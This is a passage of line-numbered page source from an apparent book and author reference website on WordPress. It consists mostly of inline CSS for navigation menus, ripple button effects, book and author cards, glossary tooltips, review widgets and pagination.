640 content: ''; 641 position: absolute; 642 top: 50%; 643 left: 50%; 644 width: 5px; 645 height: 5px; 646 background: rgba(255, 255, 255, .5); 647 opacity: 0; 648 border-radius: 100%; 649 transform: scale(1, 1) translate(-50%); 650 transform-origin: 50% 50%; 651 652} 653 654@keyframes ripple { 655 0% { 656 transform: scale(0, 0); 657 opacity: 1; 658 } 659 20% { 660 transform: scale(25, 25); 661 opacity: 1; 662 } 663 100% { 664 opacity: 0; 665 transform: scale(40, 40); 666 } 667} 668 669#primary-menu a:focus:not(:active)::after { 670 animation: ripple 0.7s ease-out; 671} 672 673 674/* Button styling (material design) */ 675 676.page-hero #post_title :empty { 677 display: none; 678} 679 680.page-hero #post_title a { 681 text-align: center; 682 transition: box-shadow 0.5s; 683 border: 1px solid rgba(0, 0, 0, 0.1); 684 685 box-shadow: 2px 2px 4px rgba(0, 0, 0, .4); 686} 687 688.page-hero #post_title a { 689 display: inline-flex; 690 background: #fff; 691 border-radius: 5px; 692 color: #444; 693 padding: 5px 25px 5px 25px; 694 transition: all 300ms; 695} 696 697.page-hero #post_title a:hover { 698 display: inline-flex; 699 background: #f5f5f5; 700 color: #222; 701 box-shadow: 4px 4px 7px rgba(0, 0, 0, .4); 702 transition: all 300ms 703} 704 705.page-hero #post_title a:focus:active:after { 706 animation: ripple 0.7s ease-out; 707} 708 709/* Ripple magic */ 710.page-hero #post_title a { 711 position: relative; 712 overflow: hidden; 713} 714 715.page-hero #post_title a:after { 716 content: ''; 717 position: absolute; 718 top: 50%; 719 left: 50%; 720 width: 5px; 721 height: 5px; 722 background: rgba(216, 216, 216, .6); 723 opacity: 0; 724 border-radius: 100%; 725 transform: scale(1, 1) translate(-50%); 726 transform-origin: 50% 50%; 727 728} 729 730@keyframes ripple { 731 0% { 732 transform: scale(0, 0); 733 opacity: 1; 734 } 735 20% { 736 transform: scale(25, 25); 737 opacity: 1; 738 } 739 100% { 740 opacity: 0; 741 transform: scale(40, 40); 742 } 743} 744 745.page-hero #post_title a:focus:not(:active)::after { 746 animation: ripple 0.7s ease-out; 747} 748 749.header-widget { 750 overflow: visible; 751} 752 753/* CSS for Rating Container */ 754.rating-container { 755 display: flex; 756 flex-wrap: wrap; 757 align-items: center; 758} 759 760@media (max-width: 768px) { 761 .rating-bar { 762 margin-left: 0px!important; 763 } 764} 765 766 767/*Novashare hide from header*/ 768.relative-parent .ns-buttons-wrapper { 769 display:none; 770} 771/*Novashare button spacing*/ 772.ns-content-cntr .ns-button { 773 margin: 0 0 0 0; 774 height: 50px; 775 transition: transform 200ms ease-in-out; 776} 777.ns-content-cntr .ns-buttons-wrapper { 778 display: inline-flex; 779 justify-content: space-between; 780 width:100%; 781 white-space: nowrap; 782 transition: transform; 783} 784 785/*Novashare Button Hover Effect*/ 786.ns-content-cntr .ns-buttons-wrapper .copy:hover, .twitter:hover, .facebook:hover, .pinterest:hover, .whatsapp:hover, .email:hover, 787.messenger:hover, .linkedin:hover { 788 box-shadow: 1px 2px 6px 0 rgb(0 0 0 / 20%); 789 transform: scale(1.04) perspective(1000px); 790 border-radius: 40px; 791 transition: transform 200ms ease-in-out; 792} 793 794.ns-content-cntr .ns-buttons-wrapper .copy, .twitter, .facebook, .pinterest, .whatsapp, .email, 795.messenger, .linkedin { 796 box-shadow: 1px 2px 6px 0 rgb(0 0 0 / 20%); 797 border-radius: 40px; 798} 799 800 801.ns-button { 802 transition: transform 200ms ease-in-out; 803} 804 805/* Review widget correct */ 806.review-total-only { 807 background: var(--accent) !important; 808} 809 810.kt-blocks-info-box-learnmore.info-box-link { 811 color: #fff!important; 812} 813 814.kt-blocks-info-box-learnmore.info-box-link:hover { 815 text-decoration: none; 816} 817 818/* User Feedback */ 819.userfeedback-widget { 820 left: 20px!important; 821 z-index: 9999999999999!important; 822} 823 824.userfeedback-widget__body label { 825 padding: 5px; 826} 827 828.userfeedback-widget__body:before { 829 background-color: hsla(0,0%,100%,.02)!important; 830} 831 832/* Primary Menu */ 833.inside-header .custom-search-form { 834 margin-right: auto; 835} 836 837.custom-search-form { 838 width: 25%; 839 margin-left: auto; 840} 841 842/* Main Nav Menu Spacing */ 843@media (min-width: 990px) { 844 .sf-menu:not(.secondary-menu,.menu-item-113726) > li > a { 845 margin-right: 2px; 846 margin-left: 2px; 847 } 848} 849 850@media (min-width: 990px) { 851 .menu-item-113726 a { 852 margin-right: 0px!important; 853 margin-left: 0px!important; 854 } 855} 856 857 858 859@media (min-width: 990px) { 860 .login-main-nav { 861 background-color: #ffffff !important; 862 box-shadow: 0 0 6px 0 rgba(0,0,0,.3); 863 border-radius: 10px; 864 margin-left: 15px; 865 } 866} 867 868 869@media (max-width: 1160px) { 870 .custom-search-form { 871 width: 19%!important; 872 } 873} 874 875.login-main-nav { 876 background-color: #ffffff!important; 877 box-shadow: 0 0 6px 0 rgba(0,0,0,.3); 878 border-radius: 10px; 879 font-weight: 700!important 880} 881 882.login-main-nav a { 883 background-color: #ffffff!important; 884 color: black!important; 885 border-radius: 10px; 886 font-weight: 700!important; 887} 888 889.login-main-nav:hover a { 890 background-color: #dad7d7!important; 891 color: black!important; 892 border-radius: 10px; 893} 894 895.login-main-nav:hover { 896 background-color: #dad7d7!important !important; 897} 898 899.main-navigation .main-nav ul li a { 900 border-radius: 5px !important; 901} 902 903.fa { 904 margin-right: 5px; 905} 906 907} 908 909.main-navigation .main-nav ul li:last-child a { 910 border-top-right-radius: 10px !important; 911 border-bottom-right-radius: 10px !important; 912} 913 914#site-navigation { 915 border-radius: 10px; 916} 917 918.dropdown-hover .main-navigation:not(.toggled) ul .open-left ul { 919 left: auto; 920 right: 0; 921} 922 923/* Sub Menu Styling */ 924.sub-menu { 925 border-bottom-left-radius: 5px; 926 border-bottom-right-radius: 5px; 927} 928 929.main-navigation .main-nav ul li.menu-item-has-children>a 930{ 931 padding-right: 15px; 932} 933 934.sub-menu { 935 border-radius: 10px; 936 box-shadow: 0 6px 24px 0 rgba(0,0,0,.12), 0 3px 8px 0 rgba(0,0,0,.06)!important; 937 padding: 5px!important; 938} 939 940 941.sub-menu a { 942 letter-spacing: -.24px!important; 943 line-height: 1.15!important; 944 padding: .625rem .9375rem!important; 945} 946 947.main-navigation .main-nav ul li a { 948 border-radius: 10px!important; 949} 950 951@media (min-width: 990px) { 952 .main-navigation .menu-bar-item .icon-search { 953 display: none; 954 } 955 956 .main-navigation .inside-navigation { 957 display: block; 958 } 959} 960 961@media (max-width: 769px) { 962 963.inside-navigation { 964 display: flex!important; 965} 966} 967 968 969.main-navigation .main-nav ul li[class*="current-menu-"] > a { 970 color: #222222 !important; 971 background-color: var(--base-3); 972} 973 974 975 976.main-navigation .main-nav ul li[class*="current-menu-"] > a { 977 color: #222222!important; 978 background-color: var(--base-3); 979} 980 981 982 983/* Mobile Header */ 984.navigation-branding img, 985.site-logo.mobile-header-logo img { 986 height: 80px; 987} 988.main-navigation .menu-bar-item.search-item { 989 display: none; 990} 991#mobile-header .menu-toggle { 992 order: -1; 993 margin-right: auto; 994} 995#mobile-header .menu-bar-items { 996 padding: 0 10px 0 0; 997} 998#mobile-header .site-logo { 999 margin-left: 0; 1000} 1001 1002.menu-toggle { 1003 margin-left: 5px 1004} 1005 1006.gp-icon.icon-search svg { 1007 height: 1.1em; 1008 width: 1.1em; 1009} 1010 1011@media (min-width: 769px) { 1012 .main-navigation .menu-bar-item.search-item { 1013 display: none; 1014 } 1015} 1016 1017/* Expert widget */ 1018.kt-info-box_7aab3e-06 1019.kt-blocks-info-box-learnmore { 1020 color: #222!important; 1021 font-weight: 600; 1022} 1023 1024.kt-blocks-info-box-learnmore.info-box-link { 1025 color: #fff!important; 1026} 1027 1028.wp_review_tab_widget_content { 1029 border: none; 1030} 1031 1032.widget .wp_review_tab_widget_content .tab-content li, .wp_review_tab_widget_content .tab-content li { 1033 border: none; 1034} 1035 1036.kt-blocks-info-box-learnmore.info-box-link { 1037 color: #222!important; 1038 font-weight: 600; 1039} 1040 1041/* Author Archive Book Links CSS */ 1042
1043/* madhumanti---5.6.2020 */ 1044 1045.separate-containers .page-header{ 1046 padding: 0 !important 1047} 1048 1049 1050table.alphabetical-control.hidden-xs.hidden-sm { 1051width: 97%; 1052font-family: 'Roboto', sans-serif; 1053 margin: 12px 15px; 1054} 1055table.alphabetical-control.hidden-xs.hidden-sm td { 1056 /* border-right: 1px solid #e4e4e4; */ 1057 /* border-left: 1px solid #e4e4e4; */ 1058 /* background: #f9f9f9; */ 1059 padding: 7px; 1060 border-bottom: 1px solid #cac5c5; 1061 border-top: 1px solid #cac5c5; 1062 text-align: center; 1063 width: 20px; 1064 font-size: 19px; 1065} 1066 1067table.alphabetical-control.hidden-xs.hidden-sm td:nth-child(1) a, table.alphabetical-control.hidden-xs.hidden-sm td:nth-child(2) a 1068{ 1069 color:#000; 1070} 1071table.alphabetical-control.hidden-xs.hidden-sm a { 1072 display: block; 1073 color: #726d6d; 1074} 1075 1076.request { 1077 color: #908c8c; 1078 font-size: 20px; 1079 font-family: 'Roboto', sans-serif; 1080 margin-top: 16px; 1081 padding:0 15px 1082} 1083 1084.request a{color:#6e4ed5} 1085a.guide-panel { 1086 display: inline-block; 1087 width: 223px; 1088 height: 223px; 1089 text-align: center; 1090 margin-right: 9px; 1091 margin-bottom:15px; 1092 border-radius:5px 1093} 1094 1095.boxsec { 1096 margin-top: 30px; 1097 font-family: 'Roboto', sans-serif; 1098 padding:0 15px 1099} 1100 1101.box-wrapper { 1102 display: table; 1103 height: 100%; 1104 width: 100%; 1105} 1106 1107.content { 1108 display: table-row; 1109 padding: 5px; 1110 vertical-align: middle; 1111} 1112 1113.guide-panel 1114{-webkit-transition: all 0.3s ease-in-out; 1115 transition: all 0.3s ease-in-out; 1116 color: white; 1117 display: inline-block; 1118 overflow: hidden; 1119 vertical-align: top; 1120 border: transparent; 1121 border-radius: 3px; 1122 text-align: center; 1123} 1124.alphabetical-filters td a.active { 1125 background: #9584e0; 1126 color: #fff !important; 1127} 1128.guide-panel .content .title { 1129 color: #181919; 1130 font-size: 21px; 1131 font-weight: 600; 1132 padding: 10px; 1133 display: table-cell; 1134 vertical-align: middle; 1135 line-height: 24px; 1136} 1137.guide-panel .box-cont { 1138 height: 52px; 1139 display: table-row; 1140} 1141.author { 1142 color: #181919; 1143 font-size: 19px; 1144 font-weight: 400; 1145 line-height: 20px; 1146 display: table-cell; 1147 padding: 3px 16px 0 16px; 1148 vertical-align: middle; 1149} 1150.guide-panel:hover { 1151 transform: scale(1.1); 1152 -moz-transform: scale(1.1); 1153 -webkit-transform: scale(1.1); 1154} 1155 1156.boxsec :hover { 1157text-decoration: none; 1158} 1159 1160 1161 1162/* Mobile Nav Bar Height Fix */ 1163@media (max-width: 989px) { 1164.main-navigation { 1165 background-color: var(--accent); 1166 } 1167} 1168 1169 1170/* Sidebar Styling */ 1171.read-more-button-nolink { 1172 color: inherit !important; 1173 text-decoration: none!important; 1174 font-weight: 700; 1175 text-align: center; 1176} 1177 1178 1179/* Author Book archive CSS */ 1180.book-container { 1181 width: 160px; 1182 height: 240px; 1183 border-radius: 5px; 1184 background-color: lightgrey; 1185 display: flex; 1186 flex-direction: column; 1187 align-items: center; 1188 justify-content: center; 1189 text-align: center; 1190 padding: 10px; 1191 } 1192 .book-container a { 1193 color: black; 1194 text-decoration: none; 1195 } 1196 .book-title { 1197 margin-bottom: 10px; 1198 } 1199 .author-name { 1200 margin-bottom: 5px; 1201 } 1202 1203.book-container .book-title { 1204 display: block; 1205 font-size: 22px; 1206 color: #333!important; 1207 font-weight: 500; 1208} 1209 1210.book-container .author-name { 1211 font-size: 15px; 1212 color: #333!important; 1213 font-weight: 500; 1214} 1215 1216/* Author archive CSS */ 1217.book-container { 1218 width: 160px; 1219 height: 240px; 1220 border-radius: 5px; 1221 display: flex; 1222 flex-direction: column; 1223 align-items: center; 1224 justify-content: space-between; 1225 text-align: center; 1226 padding: 10px; 1227 position: relative; 1228 overflow: hidden; 1229 background-color: rgba(30, 115, 190, 0.1); 1230 transition: transform 0.3s ease-in-out, box-shadow 0.3s ease-in-out; 1231 1232} 1233.book-container .book-title { 1234 margin-top: 10px; 1235 margin-bottom: auto; 1236 color: #fff!important; 1237font-weight: 500; 1238} 1239 1240.book-container .author-name { 1241 margin-bottom: 10px; 1242 margin-top: auto; 1243 color: #fff!important; 1244 font-weight: 500; 1245} 1246 1247.book-container .book-title, 1248.book-container .author-name { 1249 position: relative; 1250} 1251 1252 1253.book-container { 1254 position: relative; 1255} 1256 1257.book-container img { 1258 border-radius: 5px; 1259} 1260 1261.book-container .book-title, 1262.book-container .author-name, 1263.book-container img { 1264 position: relative; 1265 z-index: 1; 1266} 1267 1268.book-container::before { 1269 content: ""; 1270 position: absolute; 1271 top: 0; 1272 left: 0; 1273 right: 0; 1274 bottom: 0; 1275 background-color: rgba(0, 0, 0, 0.75); 1276 z-index: 0; 1277} 1278 1279a.book-container:hover { 1280 transform: perspective(1000px) rotateY(-10deg); 1281 box-shadow: 10px 10px 20px rgba(0, 0, 0, 0.2); 1282} 1283 1284/* Fav Authors on Author archive */ 1285.author-container { 1286 width: 160px; 1287 height: 240px; 1288 border-radius: 5px; 1289 display: block; 1290 flex-direction: column; 1291 align-items: center; 1292 justify-content: center; 1293 text-align: center; 1294 padding: 10px; 1295 position: relative; 1296 overflow: hidden; 1297 background-color: #0a579a; 1298 transition: transform 0.3s ease, box-shadow 0.3s ease; 1299} 1300 1301.author-container a { 1302 text-decoration: none; 1303 color: inherit; 1304} 1305 1306.author-container .author-name { 1307 margin-top: 10px; 1308 font-weight: 500; 1309 position: absolute; 1310 bottom: 15px; 1311 left: 0; 1312 right: 0; 1313 text-align: center; 1314 display: flex; 1315 flex-direction: column; 1316 justify-content: center; 1317} 1318 1319.author-container img { 1320 border-radius: 5px; 1321 margin-top: 10px; 1322} 1323 1324a.author-container:hover { 1325 transform: scale(1.05); 1326 box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); 1327} 1328 1329.avatar { 1330 border-radius: 100px!important; 1331} 1332 1333/* Tooltip CSS */ 1334#tt #ttcont div.glossaryItemTitle { 1335 font-weight: 500; 1336 border-bottom: 5px!important; 1337} 1338 1339.glossaryTooltipMoreLink { 1340 font-weight: 500; 1341} 1342 1343#glossaryList-nav .ln-letters a { 1344 padding: 10px; 1345 margin: 2px; 1346 text-decoration: none; 1347 font-weight: 600; 1348 border-radius: 5px; 1349} 1350 1351.cm-glossary.table.modern ul.glossaryList li > .glossaryLink { 1352 font-weight: 500 !important; 1353 padding: 5px 5px 5px 10px; 1354 transition: 300ms; 1355 border-bottom: none; 1356 display: flex!important;
1357 align-items: center; 1358} 1359 1360.cm-glossary.table.modern ul.glossaryList li:hover > .glossaryLink { 1361 background-color: #f7f7f7; 1362 border-radius: 10px; 1363 transition: 300ms; 1364 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.2); 1365} 1366 1367.cm-glossary.table.modern ul.glossaryList > li { 1368 border-radius: 10px; 1369 margin-top: 5px; 1370} 1371 1372.glossary-container .glossaryList li .glossary_itemdesc { 1373 margin: 0px!important; 1374} 1375 1376.the-index-letter h3 { 1377 text-transform: uppercase!important; 1378} 1379 1380/* Writer biography page styling */ 1381.paging-navigation { 1382border-radius: 20px; 1383} 1384 1385.paging-navigation a { 1386color: inherit; 1387text-decoration: none; 1388} 1389 1390.paging-navigation a:hover { 1391color: inherit; 1392text-decoration: none; 1393} 1394 1395/* Writer biography post styling */ 1396.review-wrapper { 1397 border-radius: 15px; 1398} 1399 1400.review-title { 1401 border-top-left-radius: 15px; 1402 border-top-right-radius: 15px; 1403} 1404 1405/* Review Post Styling */ 1406.but-cont .btn-info { 1407 background-color: #1E73BE; 1408 border-radius: 40px; 1409} 1410 1411.but-cont .btn-info:hover { 1412 background-color: #033D6E!important; 1413} 1414 1415/* Sidebar Styling */ 1416 1417.wp_review_tab_widget_content .tab_title.selected a { 1418 background-color: #EFEEED!important; 1419} 1420 1421.wp_review_tab_widget_content .tab_title a { 1422 background-color: #fff!important; 1423 border-bottom: 0px!important; 1424 border-left: 0px!important; 1425} 1426 1427.tab-content .wp_review_tab_thumbnail { 1428 overflow: hidden!important; 1429 position: relative!important; 1430} 1431 1432.tab-content .wp_review_tab_thumbnail .wp-post-image { 1433 transition: transform 0.2s ease-in-out!important; 1434} 1435 1436.tab-content .wp_review_tab_thumbnail .wp-post-image:hover { 1437 transform: scale(1.05)!important; 1438} 1439 1440/* Author Archive Page Literary Articles Styling */ 1441.archive article .inside-article .entry-summary { 1442 line-height: 1.75; 1443} 1444 1445.archive article:hover .inside-article { 1446 background-color: #ddecf7; 1447 box-shadow: 1px 1px 4px rgba(0, 0, 0, 0.25); 1448} 1449 1450.entry-title a:hover { 1451 text-decoration: underline; 1452 text-decoration-color: #1E73BE; 1453} 1454 1455.archive article:hover .inside-article { 1456 background-color: #F7F7F7; 1457} 1458 1459.book-title, .author-name { 1460 line-height: 1.3; 1461 } 1462 1463.archive p:not(.widget-area p):not(.site-footer p) { 1464 line-height: 1.75em; 1465} 1466 1467 1468/* Added link color to author biography */ 1469.book-link-bio { 1470 color: #1E73BE!important; 1471} 1472 1473.book-link-bio:hover { 1474 text-decoration: underline; 1475} 1476 1477/*.expert-snippet { 1478 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.2)!important; 1479} */ 1480 1481/* Explore Button Posts */ 1482#wps-button.wps-shortcode-wrapper a { 1483 border-radius: 40px!important; 1484 background-color: #1E73BE!important; 1485 border-color: #1E73BE!important; 1486 transition: transform 0.3s ease-in-out; 1487 font-weight: 500; 1488} 1489 1490#wps-button.wps-shortcode-wrapper a:hover { 1491 border-radius: 40px!important; 1492 background-color: #033D6E!important; 1493 border-color: #033D6E!important; 1494 opacity: 1!important; 1495 transform: scale(1.04); 1496} 1497 1498/* Pagination */ 1499.nav-links a { 1500 background-color: #efeeed; 1501 color: #222!important; 1502 text-decoration: none!important; 1503 padding: 5px 10px 5px 10px!important; 1504 border-radius: 10px; 1505 font-size: 16px; 1506 transition: 300ms; 1507 font-weight: 500; 1508} 1509 1510.nav-links a:hover { 1511 background-color: #D7D6D5; 1512 color: #111!important; 1513 text-decoration: none!important; 1514 padding: 5px 10px 5px 10px; 1515 border-radius: 10px; 1516 font-size: 16px; 1517 scale: 1.05; 1518 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.25); 1519} 1520 1521.nav-links .current { 1522 font-weight: bold; 1523 padding: 5px 10px 5px 10px; 1524 background-color: #777; 1525 border-radius: 10px; 1526} 1527 1528.page-numbers.current { 1529color: #fff; 1530} 1531 1532.paging-navigation { 1533background-color: transparent!important; 1534} 1535 1536/* Menu Icon Styling */ 1537@media (min-width: 990px) { 1538 .menu-icon-float-right a { 1539 display: flex; 1540 align-items: center; 1541 justify-content: space-between; 1542 } 1543 1544 .menu-icon-float-right svg { 1545 margin-left: 2px; 1546 fill: #c1c0c0; 1547 width: 18px; 1548 height: 18px; 1549 1550 } 1551} 1552 1553@media (max-width: 989px) { 1554 .menu-icon-float-right svg { 1555 display: none; 1556 } 1557} 1558 1559#ttcont { 1560 font-weight: 500; 1561} 1562 1563/* Review Widget CSS Fix */ 1564.review-total-only.large-thumb { 1565 background-color: #1e73be; 1566} 1567 1568.wp_review_tab_widget_content { 1569 border: none; 1570} 1571 1572/* Raptive Video Shortcode Hooked CSS */
1573.custom-video-container { 1574 margin-bottom: 2em; 1575} 1576 1577.wp_review_tab_widget_content { 1578 border: none; 1579} 1580 1581.category-video { 1582 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.25)!important; 1583} 1584 1585.notable-works a { 1586 text-decoration: underline; 1587} 1588 1589.notable-works a:hover { 1590 text-decoration: none; 1591} 1592 1593/* Review Box Styling */ 1594.reviewed-item-image img { 1595 border-radius: 24px; 1596} 1597 1598.fwpl-layout.latest-books-homepage { 1599 grid-template-columns: repeat(5, 1fr); 1600} 1601 1602/* Below 1290px, switch to a 4-column layout */ 1603@media (max-width: 1290px) { 1604 .fwpl-layout.latest-books-homepage { 1605 grid-template-columns: repeat(4, 1fr)!important; 1606 } 1607} 1608 1609@media (max-width: 1050px) { 1610 .fwpl-layout.latest-books-homepage { 1611 grid-template-columns: repeat(3, 1fr)!important; 1612 } 1613} 1614 1615@media (max-width: 800px) { 1616 .fwpl-layout.latest-books-homepage { 1617 grid-template-columns: repeat(2, 1fr)!important; 1618 } 1619} 1620 1621@media (max-width: 475px) { 1622 .fwpl-layout.latest-books-homepage { 1623 grid-template-columns: repeat(1, 1fr)!important; 1624 } 1625} 1626 1627.menu-item-has-children .dropdown-menu-toggle { 1628padding-right: 0px; 1629 padding-left: 5px; 1630 _} 1631 1632/* BuddyBoss CSS */ 1633.bb-white { 1634 display: none; 1635} 1636 1637/* 2 column update */ 1638/* Center Main Content */ 1639.site-content { 1640 max-width: 1200px; 1641 margin-left: auto; 1642 margin-right: auto; 1643} 1644 1645/* Main Content Styling */ 1646body:not(.home) .inside-article { 1647 border-radius: 15px; 1648 margin-top: 0px!important; 1649 padding-left: 20px!important; 1650 padding-right: 20px!important; 1651} 1652 1653.page-header.grid-container { 1654 border-radius: 15px; 1655} 1656 1657.comments-area { 1658 border-radius: 15px; 1659} 1660 1661/* Archive Styling */ 1662.content-area .category-description { 1663 border-radius: 15px; 1664 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.2)!important; 1665 margin-top: 0px!important; 1666 padding-left: 20px!important; 1667 padding-right: 20px!important; 1668 background-color: #fff; 1669} 1670 1671/* Second Nav Styling */ 1672.second-nav { 1673 max-width: 100%!important; 1674 background-color: #09579A; 1675} 1676 1677.secondary-navigation { 1678 background-color: #09579A; 1679} 1680 1681.secondary-menu .menu-item a:hover { 1682 background-color: #064A84!important; 1683} 1684 1685 1686#menu-primary-menu .main-nav .menu-item a:hover { 1687 background-color: white !important; 1688} 1689 1690 1691.second-nav, .comments-area:not(#comments) { 1692 box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.2) !important; 1693} 1694 1695 1696.secondary-navigation .main-nav ul li a { 1697 padding-left: 10px!important; 1698} 1699 1700/* Nav Indent and Bold on Focus */ 1701@media (min-width: 769px) { 1702 body .secondary-navigation .main-nav ul li.current-menu-item a, 1703 body .secondary-navigation .main-nav ul li.current-glossary-ancestor a { 1704 font-weight: 600; 1705 } 1706 .secondary-navigation .main-nav ul { 1707 position: relative; 1708 } 1709 1710 .secondary-navigation .main-nav ul li.current-menu-item, 1711 .secondary-navigation .main-nav ul li.current-glossary-ancestor { 1712 position: relative; 1713 } 1714 1715 .secondary-navigation .main-nav ul li.current-menu-item::after, 1716 .secondary-navigation .main-nav ul li.current-glossary-ancestor::after { 1717 content: ''; 1718 position: absolute; 1719 bottom: 0; 1720 width: 100%; 1721 border-bottom: 5px solid #fff; 1722 } 1723 1724 .secondary-navigation .menu-item a { 1725 padding: 1px; 1726 } 1727} 1728 1729 1730.site-logo { 1731 margin-right: auto; 1732} 1733 1734/* Key Takeaways */ 1735.key-takeaways + ul :not(.hero-info) { 1736 margin-left: 0px; 1737 list-style: none; 1738} 1739 1740 1741.key-takeaways + ul li { 1742 margin: 16px 0px 0px 0px; 1743 border-left: 4px solid #bfdcf5; 1744 padding-left: 16px; 1745 font-weight: 500; 1746 font-size: 1rem; 1747} 1748 1749.key-takeaway-box ul { 1750 margin: 0px; 1751} 1752 1753/* Sub Menu Styling */ 1754 1755.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a { 1756 color: #222222!important; 1757 background-color: #f5f5f5!important; 1758} 1759 1760.main-navigation .main-nav ul ul li a { 1761 font-size: 14px; 1762} 1763 1764a:not([href]):not([tabindex]):focus a:not(.facetwp-facet-book_results_pager), 1765a:not([href]):not([tabindex]):hover a:not(.facetwp-facet-book_results_pager) { 1766 color: black; 1767 background-color: white !important; 1768 text-decoration: none; 1769} 1770 1771@media (min-width: 990px) { 1772.main-navigation .main-nav ul li a, .menu-toggle, .main-navigation .menu-bar-item > a { 1773 line-height: 40px; 1774} 1775} 1776 1777@media (min-width: 769px) { 1778#secondary-navigation { 1779 max-width: 1200px!important; 1780 margin-right: auto; 1781 margin-left: auto; 1782} 1783} 1784 1785.main-navigation a, .menu-toggle { 1786 font-weight: 500; 1787 font-size: 17px; 1788} 1789 1790.main-navigation .main-nav ul li[class*="current-menu-"] > a { 1791 color: #e5e5e5; 1792} 1793 1794.main-navigation .main-nav ul li[class*="current-menu-"] > a:hover { 1795 color: #222222; 1796} 1797 1798 1799@media (max-width: 1024px) { 1800.main-navigation:not(.slideout-navigation) a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items { 1801 font-size: 17px!important; 1802 } 1803} 1804 1805@media (max-width: 990px) { 1806.main-navigation a, .menu-toggle { 1807 font-size: 20px; 1808} 1809} 1810 1811.main-navigation .main-nav ul li a, .menu-toggle, .main-navigation .menu-bar-item > a { 1812 padding-left: 10px; 1813 padding-right: 10px; 1814} 1815 1816/* New Secondary Navigation CSS 2-col */ 1817 1818.outer-container-menu { 1819 position: sticky; 1820 top: 0; 1821 z-index: 99; 1822} 1823
1824/* Mobile Secondary Nav Animation */ 1825@media (max-width:768px) { 1826 nav.secondary-navigation .inside-navigation { 1827 flex-direction: column; 1828 } 1829 nav.secondary-navigation.toggled .main-nav { 1830 flex-basis: 100%; 1831 order: 3; 1832 } 1833 nav.secondary-navigation .inside-navigation { 1834 display: flex; 1835 align-items: center; 1836 flex-wrap: wrap; 1837 justify-content: space-between; 1838 } 1839 nav.secondary-navigation .main-nav > ul { 1840 position: absolute; 1841 left: 0; 1842 right: 0; 1843 top: 50px; 1844 z-index: 100000; 1845 display: block !important; 1846 max-height: 0; 1847 overflow: hidden; 1848 pointer-events: none; 1849 background-color: #09579a; 1850 transition: all 0.3s ease; 1851 } 1852 nav.secondary-navigation.toggled .main-nav > ul { 1853 pointer-events: auto; 1854 max-height: 1000px; 1855 } 1856} 1857 1858/* Sidebar Suggested Posts */ 1859.widget .wp_review_tab_widget_content .tab-content li, .wp_review_tab_widget_content .tab-content li { 1860 border-bottom: 1px solid #e4e4e400!important; 1861} 1862 1863.wp_review_tab_widget_content { 1864 border: 1px solid #e4e4e400!important; 1865} 1866 1867.site-content > div { 1868 left: 0px!important; 1869} 1870 1871.gb-button:hover { 1872 text-decoration: none!important; 1873} 1874 1875.toastify a:hover { 1876 text-decoration: none!important; 1877} 1878 1879body > .tab { 1880 display: none; 1881} 1882 1883/* Logged in users menu styling */ 1884.menu-item-113737 { 1885 background-color: #09579A; 1886 border-radius: 10px; 1887 margin-left: 2px; 1888 padding-left: 2px; 1889} 1890 1891.menu-item-113737 a { 1892 margin-left: -2px!important; 1893 margin-right: -2px!important; 1894} 1895 1896/* Quiz */ 1897.quiz .inside-article { 1898 box-shadow: none!important; 1899 background-color: transparent!important; 1900} 1901 1902.quiz h1 { 1903 text-align: center; 1904} 1905 1906.ays_quiz_image { 1907 border-radius: 15px; 1908} 1909 1910#ays-quiz-container-2 .ays_quiz_question p { 1911 font-size: 24px!important; 1912 margin-bottom: 30px; 1913 margin-top: 20px; 1914} 1915 1916.ays-live-bar-wrap { 1917 top: 15px!important; 1918} 1919 1920.ays_quiz_question { 1921 font-weight: 600; 1922} 1923 1924.ays-field, .ays_position_initial, .ays-quiz-keyboard-label { 1925 border-radius: 10px; 1926} 1927 1928/* Sidebar Styling */ 1929 1930.cmty-btn-sb { 1931color: white!important; 1932} 1933 1934.widget-area .widget#block-25 { 1935 padding: 0px !important; 1936} 1937 1938#tt #ttcont div.glossaryItemTitle { 1939 margin: -10px -5px -5px!important; 1940} 1941 1942/* For screens wider than mobile and up to 1355px */ 1943@media (max-width: 1355px) { 1944 .hero-info { 1945 margin-right: -30px; 1946 margin-left: -30px; 1947 padding-right: 30px; 1948 padding-left: 30px; 1949 } 1950} 1951 1952/* For mobile screens */ 1953@media (max-width: 767px) { /* Adjust this value based on your mobile breakpoint */ 1954 .hero-info { 1955 margin-right: -5px; 1956 margin-left: -5px; 1957 border-radius: 0px; 1958 } 1959} 1960 1961ol, ul { 1962 margin: 0 0 1.5em 2em; 1963} 1964 1965.setting .text-message { 1966 font-size: 20px!important; 1967} 1968 1969 1970.start-middle-end .text-message { 1971 font-size: 18px!important; 1972} 1973 1974.inside-article a { 1975 font-weight: 500; 1976} 1977 1978.review-wrapper { 1979 float: none!important; 1980} 1981 1982.inside-article h2 { 1983 font-weight: 600!important; 1984} 1985 1986.book-title, .author-name { 1987 transition: 0.3s all ease; 1988} 1989 1990.book-title:hover { 1991 background-color: var(--secondary-color); 1992} 1993 1994.author-name:hover { 1995 background-color: #5A8D96; 1996} 1997 1998.book-title a:hover, .author-name a:hover { 1999 text-decoration: none; 2000} 2001 2002.hero-info { 2003 padding-bottom: 0!important 2004} 2005 2006.toc-sticky-test .toc-sticky .toc-lines-wrap ul li a, .toc-sticky-wrap .toc-sticky .toc-lines-wrap ul li a:hover { 2007 text-decoration: none; 2008} 2009 2010.toc-sticky-test .toc-sticky .toc-lines-wrap ul li a, .toc-sticky-wrap .toc-sticky .toc-lines-wrap ul li a { 2011 font-weight: 500; 2012 font-size: 17px; 2013} 2014</style> 2015<meta name="generator" content="WP Rocket 3.19.4" data-wpr-features="wpr_delay_js wpr_defer_js wpr_minify_js wpr_preconnect_external_domains wpr_oci wpr_minify_css wpr_desktop" /></head> 2016 2017<body data-rsssl=1 class="wp-singular page-template-default page page-id-59965 wp-custom-logo wp-embed-responsive wp-theme-generatepress wp-child-theme-generatepress_child post-image-aligned-center slideout-enabled slideout-mobile 